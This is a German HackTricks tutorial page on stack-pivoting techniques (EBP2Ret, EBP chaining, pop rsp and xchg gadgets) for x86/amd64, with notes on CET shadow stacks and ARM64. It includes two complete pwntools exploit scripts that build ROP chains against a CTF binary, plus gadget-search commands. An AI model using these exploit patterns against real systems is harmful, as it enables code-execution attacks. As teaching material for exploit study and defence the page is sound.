Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Diese Technik nutzt die Fähigkeit, den Basiszeiger (EBP/RBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des Rahmenzeigers und der leave; ret Instruktionssequenz zu verketten.

Zur Erinnerung: Auf x86/x86-64 ist leave gleichbedeutend mit:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Und da das gespeicherte EBP/RBP im Stack vor dem gespeicherten EIP/RIP liegt, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert.

Hinweise

  • Bei 64-Bit ersetzen Sie EBP→RBP und ESP→RSP. Die Semantik bleibt gleich.
  • Einige Compiler lassen den Frame-Pointer weg (siehe „EBP könnte nicht verwendet werden“). In diesem Fall könnte leave nicht erscheinen und diese Technik funktioniert nicht.

EBP2Ret

Diese Technik ist besonders nützlich, wenn Sie das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern. Sie nutzt das Verhalten des Funktionsepilogs.

Wenn Sie während der Ausführung von fvuln es schaffen, ein falsches EBP im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um für das pop zu rechnen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt leave RSP auf die gestaltete Adresse und das nachfolgende pop rbp verringert RSP, was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde. Dann wird ret diese Adresse verwenden.

Beachten Sie, dass Sie 2 Adressen wissen müssen: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den ret konsumieren wird.

Exploit-Konstruktion

Zuerst müssen Sie eine Adresse kennen, an die Sie beliebige Daten/Adressen schreiben können. RSP wird hierhin zeigen und den ersten ret konsumieren.

Dann müssen Sie die Adresse wählen, die von ret verwendet wird, um die Ausführung zu übertragen. Sie könnten verwenden:

  • Eine gültige ONE_GADGET Adresse.
  • Die Adresse von system(), gefolgt von der entsprechenden Rückkehr und Argumenten (auf x86: ret Ziel = &system, dann 4 Junk-Bytes, dann &"/bin/sh").
  • Die Adresse eines jmp esp; Gadgets (ret2esp), gefolgt von Inline-Shellcode.
  • Eine ROP Kette, die im beschreibbaren Speicher gestaged ist.

Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Bereich Platz für das pop ebp/rbp von leave sein muss (8B auf amd64, 4B auf x86). Sie können diese Bytes missbrauchen, um ein zweites falsches EBP zu setzen und die Kontrolle nach dem ersten Rückruf zu behalten.

Off-By-One Exploit

Es gibt eine Variante, die verwendet wird, wenn Sie nur das am wenigsten signifikante Byte des gespeicherten EBP/RBP ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit ret gesprungen werden soll, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit ein 1-Byte-Überschreiben es umleiten kann. Üblicherweise wird das niedrige Byte (Offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.

Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds zeigt und die endgültige ROP-Kette ausgeführt wird.

EBP-Verkettung

Indem Sie eine kontrollierte Adresse im gespeicherten EBP-Slot des Stacks platzieren und ein leave; ret Gadget in EIP/RIP, ist es möglich, ESP/RSP zu einer vom Angreifer kontrollierten Adresse zu bewegen.

Jetzt ist RSP kontrolliert und die nächste Anweisung ist ret. Platzieren Sie im kontrollierten Speicher etwas wie:

  • &(nächstes falsches EBP) -> Geladen durch pop ebp/rbp von leave.
  • &system() -> Aufgerufen durch ret.
  • &(leave;ret) -> Nachdem system endet, bewegt RSP zum nächsten falschen EBP und fährt fort.
  • &("/bin/sh") -> Argument für system.

Auf diese Weise ist es möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.

Das ist wie ein ret2lib, aber komplexer und nur in Grenzfällen nützlich.

Darüber hinaus haben Sie hier ein Beispiel für eine Herausforderung, das diese Technik mit einem Stack-Leak verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie system aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. ret oder sub rsp, 8 ; ret), bevor Sie den Aufruf tätigen, um die Ausrichtung aufrechtzuerhalten und movaps-Abstürze zu vermeiden.

EBP könnte nicht verwendet werden

Wie in diesem Beitrag erklärt, wenn eine Binärdatei mit einigen Optimierungen oder mit Frame-Pointer-Auslassung kompiliert wird, kontrolliert EBP/RBP niemals ESP/RSP. Daher wird jeder Exploit, der durch die Kontrolle von EBP/RBP funktioniert, fehlschlagen, da das Prolog/Epilog nicht vom Frame-Pointer wiederherstellt.

  • Nicht optimiert / Frame-Pointer verwendet:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimiert / Frame-Zeiger weggelassen:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Auf amd64 sieht man oft pop rbp ; ret anstelle von leave ; ret, aber wenn der Frame-Zeiger ganz weggelassen wird, gibt es kein rbp-basiertes Epilog, durch das man pivotieren kann.

Andere Möglichkeiten, RSP zu steuern

pop rsp Gadget

Auf dieser Seite finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp Gadget und es gibt einen Leak vom Stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp Gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Überprüfen Sie die ret2esp-Technik hier:

Ret2esp / Ret2reg

Pivot-Gadgets schnell finden

Verwenden Sie Ihren bevorzugten Gadget-Finder, um nach klassischen Pivot-Primitiven zu suchen:

  • leave ; ret in Funktionen oder in Bibliotheken
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (oder add esp, <imm> ; ret auf x86)

Beispiele:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klassisches Pivot-Staging-Muster

Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:

  1. Verwenden Sie einen kleinen anfänglichen Overflow, um read/recv in einen großen beschreibbaren Bereich (z. B. .bss, Heap oder gemappeter RW-Speicher) zu rufen und dort eine vollständige ROP-Kette zu platzieren.
  2. Kehren Sie in ein Pivot-Gadget zurück (leave ; ret, pop rsp, xchg rax, rsp ; ret), um RSP in diesen Bereich zu verschieben.
  3. Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, mprotect aufrufen, dann Shellcode lesen und dann zu ihm springen).

Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)

Moderne x86-CPUs und Betriebssysteme setzen zunehmend CET Shadow Stack (SHSTK) ein. Mit aktiviertem SHSTK vergleicht ret die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste ret von einem pivotierten Stack ausgeführt wird.

  • Für Hintergrundinformationen und tiefere Details siehe:

CET & Shadow Stack

  • Schnelle Überprüfungen unter Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Hinweise für Labs/CTF:

  • Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter nousershstk deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.

  • JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell ret-basierte Pivots.

  • Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei ret; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).

ARM64

In ARM64 speichern die Prologe und Epiloge der Funktionen nicht das SP-Register im Stack und rufen es nicht ab. Darüber hinaus gibt die RET-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern die Adresse in x30.

Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, das SP-Register nicht kontrollieren, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das x30-Register zu kontrollieren.

  • Prolog
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP zeigt auf den Frame-Record
  • Epilog
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, das SP zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an SP übergeben wird, oder weil aus irgendeinem Grund SP seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann den Epilog zu missbrauchen, um das x30-Register von einem kontrollierten SP zu laden und RET darauf auszuführen.

Auch auf der folgenden Seite sehen Sie das Äquivalent von Ret2esp in ARM64:

Ret2esp / Ret2reg

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks